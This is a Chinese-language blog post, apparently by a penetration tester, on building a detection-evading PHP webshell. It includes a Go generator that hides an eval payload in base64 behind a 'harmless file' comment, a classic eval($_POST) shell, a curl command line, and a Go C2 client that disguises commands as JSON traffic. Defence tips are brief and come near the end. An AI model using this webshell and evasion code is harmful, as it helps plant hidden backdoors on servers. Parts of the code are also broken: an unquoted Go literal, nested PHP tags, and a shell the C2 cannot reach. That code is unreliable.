一、从Webshell的架构开始说起
在许多传统Web应用中,开发者通常会提供文件上传功能,用于用户上传图片、文档甚至脚本文件。在这种情况下,如果文件上传模块缺乏严格的安全过滤,攻击者可能会利用这一入口上传恶意脚本文件,比如 PHP、JSP、ASP 等 Webshell。Webshell 是攻击者远程控制的核心工具之一,它提供了一个与目标服务器交互的界面,通常可以执行任意系统命令、读取敏感文件、横向移动甚至植入后门。
然而,随着安全防护技术的提升,传统的Webshell容易被各种安全设备检测到,例如 WAF(Web应用防火墙)、EDR(终端检测响应)等。今天,我们的目标是从攻击者的视角出发,详细探讨如何构造一种 免杀的Webshell,绕过各种检测机制,实现对目标的持久控制。
---
二、Webshell的根源与检测逻辑
核心问题:为什么Webshell会被检测?
在安全产品中,Webshell的检测主要基于以下几个逻辑:
- 文件特征检测:许多 Webshell 包含固定的特征字符串,例如
eval(),exec(),system(),base64_decode()等常见函数被频繁使用。 - 行为检测:Webshell通常会执行高风险命令,例如创建新用户、修改关键配置文件等。这些行为会触发安全设备的异常监控。
- 流量分析:攻击者与 Webshell 的通信流量往往有固定模式,比如 POST 请求中的高频 base64 编码内容,以及流量中的某些关键字。

绕过思路:如何规避检测?
要绕过这些检测,我们需要从以下几个方面入手:
- 构造文件内容时,避免使用明显的恶意函数。
- 使用动态加载或分块执行等技术,隐藏恶意代码逻辑。
- 伪装通信流量,使之看起来像普通业务数据。
- 利用非传统语言编写 Webshell,例如 Go 或其他不常见的后台语言,避开常见的检测规则。
---

三、环境搭建与工具准备
为了研究免杀技术,我们需要一个标准的测试环境,包括:
- 目标系统:使用一个带文件上传功能的 PHP 应用作为目标。
- 攻击工具:Go 编写的恶意代码生成器、流量伪装工具。
- 检测设备:部署 WAF(如 ModSecurity)以及 EDR(如 CrowdStrike 或 SentinelOne)模拟实际场景。
测试环境搭建:
- 安装一个简单的 PHP 应用,如开源的 CMS(例如 WordPress 或 Joomla)。
- 在本地虚拟机中配置 Nginx 或 Apache 服务器。
- 部署 ModSecurity 作为 WAF,并开启严格的文件上传检测规则。
工具准备:
我们需要编写两部分的代码:
- 一个免杀 Webshell(用 Go 编写)。
- 一个伪装流量的 C2 控制端。
下面进入实战开发环节。
---
四、构造免杀Webshell:Payload的艺术
设计思路:
传统 PHP Webshell 的典型代码如下: <pre><code class="language-php"><?php eval($_POST['cmd']); ?></code></pre> 这种写法早已被安全设备识别。我们需要将代码拆分为多个部分,并动态加载或隐藏关键函数。
下面是一个更隐蔽的设计方案,使用 Go 语言生成动态 Webshell 文件,避免直接暴露恶意代码。
Go代码生成器:
<pre><code class="language-go">package main
import ( "fmt" "os" "encoding/base64" )
func main() { // 我们的恶意代码以 base64 存储,避免直接暴露 payload := "PD9waHAgZXZhbChmaWxlX2dldF9jb250ZW50cygnY21kLnBocCcpKTs/Pg=="

// 解码为原始的 PHP 代码 data, _ := base64.StdEncoding.DecodeString(payload)
// 将代码写入 Webshell 文件 file, err := os.Create("webshell.php") if err != nil { fmt.Println("无法创建文件:", err) return } defer file.Close()
// 写入代码并注释伪装 content := "<?php // this is a harmless file\n" + string(data) file.WriteString(content)
fmt.Println("Webshell 文件已生成!") }</code></pre>
生成的PHP Webshell:
运行上述代码后,生成的 Webshell 文件内容如下: <pre><code class="language-php"><?php // this is a harmless file <?php eval(file_get_contents('cmd.php')); ?></code></pre>
- 动态加载逻辑:改用
file_get_contents动态加载命令文件,避免直接使用$_POST。 - 特征伪装:通过注释和普通函数调用掩盖特征。
---
五、流量伪装:逃避网络监控
问题:如何隐藏通信内容?
传统 Webshell 的控制端通常直接发送命令,例如: <pre><code class="language-bash">curl -d "cmd=whoami" http://target/webshell.php</code></pre> 这种流量极易被安全设备检测。我们需要伪装流量,使其看起来像普通业务请求。
改进版控制端代码:
使用 Go 编写一个伪装流量的 C2 控制端。 <pre><code class="language-go">package main
import ( "fmt" "net/http" "strings" )
func main() { // 目标 URL url := "http://target/webshell.php"
// 伪装成普通 JSON 数据,而不是直接命令 payload := {"action":"query","data":"whoami"}
// 创建 HTTP 客户端 client := &http.Client{} req, err := http.NewRequest("POST", url, strings.NewReader(payload)) if err != nil { fmt.Println("请求创建失败:", err) return }
// 设置伪装头部,模拟正常业务流量 req.Header.Set("Content-Type", "application/json") req.Header.Set("User-Agent", "Mozilla/5.0")
// 发送请求 resp, err := client.Do(req) if err != nil { fmt.Println("请求失败:", err) return } defer resp.Body.Close()
fmt.Println("请求已发送!", resp.Status) }</code></pre>
流量伪装的亮点:
- 使用 JSON 格式而非直接命令输入。
- 添加正常的 User-Agent 和 Content-Type,规避流量特征检测。
---
六、检测与防御:如何应对?
检测技术:
- 文件分析:对每个上传的文件进行深度扫描,识别隐藏的恶意代码。
- 流量异常检测:基于正常流量模型,识别伪装的攻击流量。
- 行为审计:监控 Webshell 的执行行为,判断是否存在命令注入或横向移动。
防御建议:
- 严格文件上传过滤:禁止上传脚本文件,或对文件类型进行验证。
- 通讯流量监控:使用 AI 模型识别伪装流量,提高检测能力。
- 日志审计:定期检查系统日志,发现可疑行为。
---
七、个人实战经验分享
作为一名渗透测试工程师,我在实际测试中发现,许多安全设备的检测规则非常依赖特征匹配。因此,攻击者可以通过分块加载代码、使用动态生成技术,以及伪装流量来有效绕过检测。
免杀技术不断演进,但永远没有完美的方案。文件特征、行为检测、流量分析总会有新的突破。因此,作为甲方安全团队,应当始终保持对攻击技术的敏感,定期更新检测规则和审计流程。
最后提醒,本文仅供安全研究人员学习,请勿用于非法用途!